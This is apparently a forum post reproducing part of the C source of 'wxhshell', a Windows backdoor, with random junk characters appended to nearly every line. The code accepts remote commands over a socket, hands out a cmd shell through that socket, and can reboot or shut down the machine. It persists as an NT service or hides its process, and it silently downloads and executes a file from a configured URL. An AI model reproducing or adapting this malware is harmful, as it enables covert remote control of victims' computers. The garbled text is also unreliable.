    switch(cmd[0]) { #*|Gp_l+%  
  +5xVgIk#  
  // 帮助 "'@>cJ=  
  case '?': { QoBM2Q YO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o-7,P RmKN  
    break; \YMe&[C:o  
  } _GF{Duxh  
  // 安装 i[V\RKH*F  
  case 'i': { hwj:$mR  
    if(Install()) ^0T DaZDLp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tsf)+`vt  
    else j.:I{!R#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -qNun3  
    break; !Sj0!\  
    } W9M~2< L  
  // 卸载 %}/|/=  
  case 'r': { tmVGJ+gz  
    if(Uninstall()) v3I-i|L<)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P g.j]  
    else Y k @/+PE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6t!PHA  
    break; hg Pzx@  
    } glI4Jb_[  
  // 显示 wxhshell 所在路径 s1kG:h2|$  
  case 'p': { C;jV)hr6P  
    char svExeFile[MAX_PATH]; qC:QY6g$N  
    strcpy(svExeFile,"\n\r"); jBLLx{  
      strcat(svExeFile,ExeFile); ve&"x Nz<  
        send(wsh,svExeFile,strlen(svExeFile),0); 5u=$m^@{  
    break; /_{B_2i/>  
    } yNDplm|9*  
  // 重启 BH3%dh :9  
  case 'b': { ;'i>^zX`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <yg! D21Y  
    if(Boot(REBOOT)) B$D7}=|kc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8lZB3p]X  
    else { UY~N4IR8  
    closesocket(wsh); t4[<N  
    ExitThread(0); NDYm7X*et  
    } \\iX9-aI<  
    break; /kH 7I  
    } e?yrx6  
  // 关机 LE]mguvs  
  case 'd': { Sece#K2J|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HY>zgf,0  
    if(Boot(SHUTDOWN)) 4uy:sCmu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ymx;  
    else { W\1V`\gF  
    closesocket(wsh); 2uT"LW/(H  
    ExitThread(0); 0/TP`3$X#"  
    } D4IP$pAD  
    break; oUNuM%g9Dy  
    } Dhze2q)o  
  // 获取shell Ra)AQ n  
  case 's': { Zp qb0ro  
    CmdShell(wsh); S17 c#6vT  
    closesocket(wsh); ^_5t5>  
    ExitThread(0); d]r?mnN W  
    break; MiN|u  
  } C.N#y`g  
  // 退出 LCMZw6p  
  case 'x': { @|6#]&v`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $az9Fmta  
    CloseIt(wsh); +"GBuNh  
    break; bx._,G  
    } '4e, e|r  
  // 离开 U-:"Wx%G  
  case 'q': { wY xk[)&Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %n)H(QPW  
    closesocket(wsh); 5KgAY;|  
    WSACleanup(); @O9wit.  
    exit(1); ,vs#(d6G  
    break; m bZn[D_zi  
        }  `;HZO8  
  } cTa$t :K@  
  } 6R#.AD\  
PTP0 _|K  
  // 提示信息 ##5e:<c&[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GWW#\0*Bn  
} a%*W( 4=Y  
  } sa w  
c@|f'V4  
  return; )zAATBb4.  
} Wf{&D>  
awU&{<,=g  
// shell模块句柄 <TEDqQ  
int CmdShell(SOCKET sock) 9][A1 +"  
{ mTBSntZx  
STARTUPINFO si; #7Jvk_r9Y  
ZeroMemory(&si,sizeof(si)); B+4WnR1%T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )~be<G( a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $Y?[[>u  
PROCESS_INFORMATION ProcessInfo; fM!@cph(8  
char cmdline[]="cmd"; 7Sl"q=>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K_GqM9  
  return 0; FM,o&0HSd  
} &1FyauH  
3DOc,}nI~@  
// 自身启动模式 bZ[ay-f6oK  
int StartFromService(void) 'b:UafV  
{ 4Hq6nT/  
typedef struct bPA1>p7  
{ BT|n+Y[  
  DWORD ExitStatus; OMm'm\+/  
  DWORD PebBaseAddress; 7;@o]9W  
  DWORD AffinityMask; <tgfbY^nL  
  DWORD BasePriority; nj=nSD  
  ULONG UniqueProcessId; v9MliD'  
  ULONG InheritedFromUniqueProcessId; XM~eocn  
}   PROCESS_BASIC_INFORMATION; iLk"lcX  
r1a/'+   
PROCNTQSIP NtQueryInformationProcess; Pf#DBW*  
oD 3Q{ e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,% *Jm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yC\!6pg  
C:ntr=3J  
  HANDLE             hProcess; (V<pz2\  
  PROCESS_BASIC_INFORMATION pbi; @r]1;KG  
1xjw=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 48LzI@H&  
  if(NULL == hInst ) return 0; u85?f  
f"Kl? IN8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mk[<=k~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~F13}is  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jygKw+C  
H+npe'm_Z  
  if (!NtQueryInformationProcess) return 0; 8I<LZ{a10  
% |G"ZPO?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T854}RX[{  
  if(!hProcess) return 0; IeAUVR S)  
Xu& v3Y~k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \me-#: Gu  
?7dV:]%~2  
  CloseHandle(hProcess); xcX^L84\  
4%*`' o$_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rf TG 5E)  
if(hProcess==NULL) return 0; ,:pKNWY)Q  
b5?k)s2  
HMODULE hMod; PJ2m4ulY  
char procName[255]; 7-MyiCt  
unsigned long cbNeeded; ;aImz*1%t  
bYwe/sR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _Kg"l5?B  
"#]V^Rzxh  
  CloseHandle(hProcess); So]O`RJv  
\:>eZl?  
if(strstr(procName,"services")) return 1; // 以服务启动 r<pt_Cd  
mhMRY9ahB  
  return 0; // 注册表启动 4 IXa[xAm  
} NT<}-^  
b X4]/4%  
// 主模块 @T)>akEOt  
int StartWxhshell(LPSTR lpCmdLine) YzYj/,?r  
{ /Y8{?  
  SOCKET wsl; }u.1$Y  
BOOL val=TRUE; A?H.EZ  
  int port=0; %:Y'+!bX  
  struct sockaddr_in door; W<M\ b#  
#Kt5+"+7  
  if(wscfg.ws_autoins) Install(); v7mg8'  
[Y8ot-6  
port=atoi(lpCmdLine); G&#l3bkQ  
|3=tF"h  
if(port<=0) port=wscfg.ws_port; :s#&nY  
YQaL)t$0  
  WSADATA data; %kL]-Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9` G}GU]@}  
!uN_<!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FmhN*ZXr #  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z6'l" D'h  
  door.sin_family = AF_INET; %$=}ePD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m-'+)lB  
  door.sin_port = htons(port); 0 2q*z>:^  
3`{[T17  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !==C@cH<N  
closesocket(wsl); 0b+End#mp  
return 1; J>^KQ  
} e@L?jBj8m  
:2-!bLo}&  
  if(listen(wsl,2) == INVALID_SOCKET) { 54%h)dLDy  
closesocket(wsl); P |;=dX#-  
return 1; !N\i9w}  
} *.zC9Y,  
  Wxhshell(wsl); HfA@tZ5q|U  
  WSACleanup(); Bu#\W  
L%fJH_$_s  
return 0; xB,(!0{`  
=QW:},sp  
}  S/Gy:GIf  
leO..M  
// 以NT服务方式启动 ef]60OtP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .h\[7r  
{ d5 U+]g  
DWORD   status = 0; ?o_ D#gG*  
  DWORD   specificError = 0xfffffff; ,{sCI/  
*+>QKR7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ePe/@g1K*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "U iv[8B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YHI@Cj  
  serviceStatus.dwWin32ExitCode     = 0; pLsJa?}R  
  serviceStatus.dwServiceSpecificExitCode = 0; @H|3e@5([  
  serviceStatus.dwCheckPoint       = 0; #<gD@Jybu  
  serviceStatus.dwWaitHint       = 0; *!L it:H  
Schvwlm~i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7=pJ)4;ZA  
  if (hServiceStatusHandle==0) return; kT4Oal+4  
a'YK1QX  
status = GetLastError(); |v= */e  
  if (status!=NO_ERROR) YE1X*'4  
{ [+>cW0a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uOQl;}Lk5  
    serviceStatus.dwCheckPoint       = 0; A9ru]|?  
    serviceStatus.dwWaitHint       = 0; %<;PEQQ|C  
    serviceStatus.dwWin32ExitCode     = status; _2nNCu (  
    serviceStatus.dwServiceSpecificExitCode = specificError; mY!&*nYn|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,B$m8wlI|  
    return; L=<{tzTc  
  } Dt]*M_  
2[Vs@X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^26}8vt  
  serviceStatus.dwCheckPoint       = 0; btv.M  
  serviceStatus.dwWaitHint       = 0; v>p}f"$`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 17@#"uT0  
} Oh/2$72  
'{:lP"\,L  
// 处理NT服务事件,比如:启动、停止 xQ@gh ( (  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SD=9fh0l  
{ w$[ck=  
switch(fdwControl) .dl4f"k  
{ `Y.Q{5Y  
case SERVICE_CONTROL_STOP: ~"i4"Op&  
  serviceStatus.dwWin32ExitCode = 0; cA25FD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LV$`bZ  
  serviceStatus.dwCheckPoint   = 0; !&@!:=X,  
  serviceStatus.dwWaitHint     = 0; 46M?Gfd,X  
  { bs\7 juHt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OjBg$f~0F  
  } E~'QC  
  return; Afo qCF  
case SERVICE_CONTROL_PAUSE: z*OQ4_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9xIz[`)i.  
  break; A<P rsk!  
case SERVICE_CONTROL_CONTINUE: ff.;6R\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i8> ^{GODR  
  break; [Z{0|NR  
case SERVICE_CONTROL_INTERROGATE: qo5WZ be  
  break; J G3#(DVc;  
}; ~6O<5@k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e$=0.GWT  
} t+m ug  
-KFozwr5/  
// 标准应用程序主函数 zIh`Vw,t0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m{ C  
{ Y+ea  
FvV:$V|  
// 获取操作系统版本 3ew`e"s  
OsIsNt=GetOsVer(); ;-@v1I;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q8P$Md-=b1  
=#sr4T  
  // 从命令行安装 Uh8c!CA8:\  
  if(strpbrk(lpCmdLine,"iI")) Install(); I,wgu:}P#  
<-K'9ut,  
  // 下载执行文件 DW.vu%j^[  
if(wscfg.ws_downexe) { {G(N vf,K]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LFT)_DG7(  
  WinExec(wscfg.ws_filenam,SW_HIDE); T{Y;-m  
} B kWoK/f4  
C J#1j>  
if(!OsIsNt) { DSc:>G  
// 如果时win9x,隐藏进程并且设置为注册表启动 k\`~v$R3  
HideProc(); YQ#o3 sjs  
StartWxhshell(lpCmdLine); R3ru<u>k&  
} 6;vfl*  
else 9_<>#)u5  
  if(StartFromService()) FT+[[9i  
  // 以服务方式启动 k^v P|*eu  
  StartServiceCtrlDispatcher(DispatchTable); ?^z.WQ|f@  
else E4dN,^_ F!  
  // 普通方式启动 '+*{u]\  
  StartWxhshell(lpCmdLine); FCMV1,  
+ 4*jO5EZ  
return 0; +YK/^;Th  
}
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只看该作者 1 发表于: 2006-10-10
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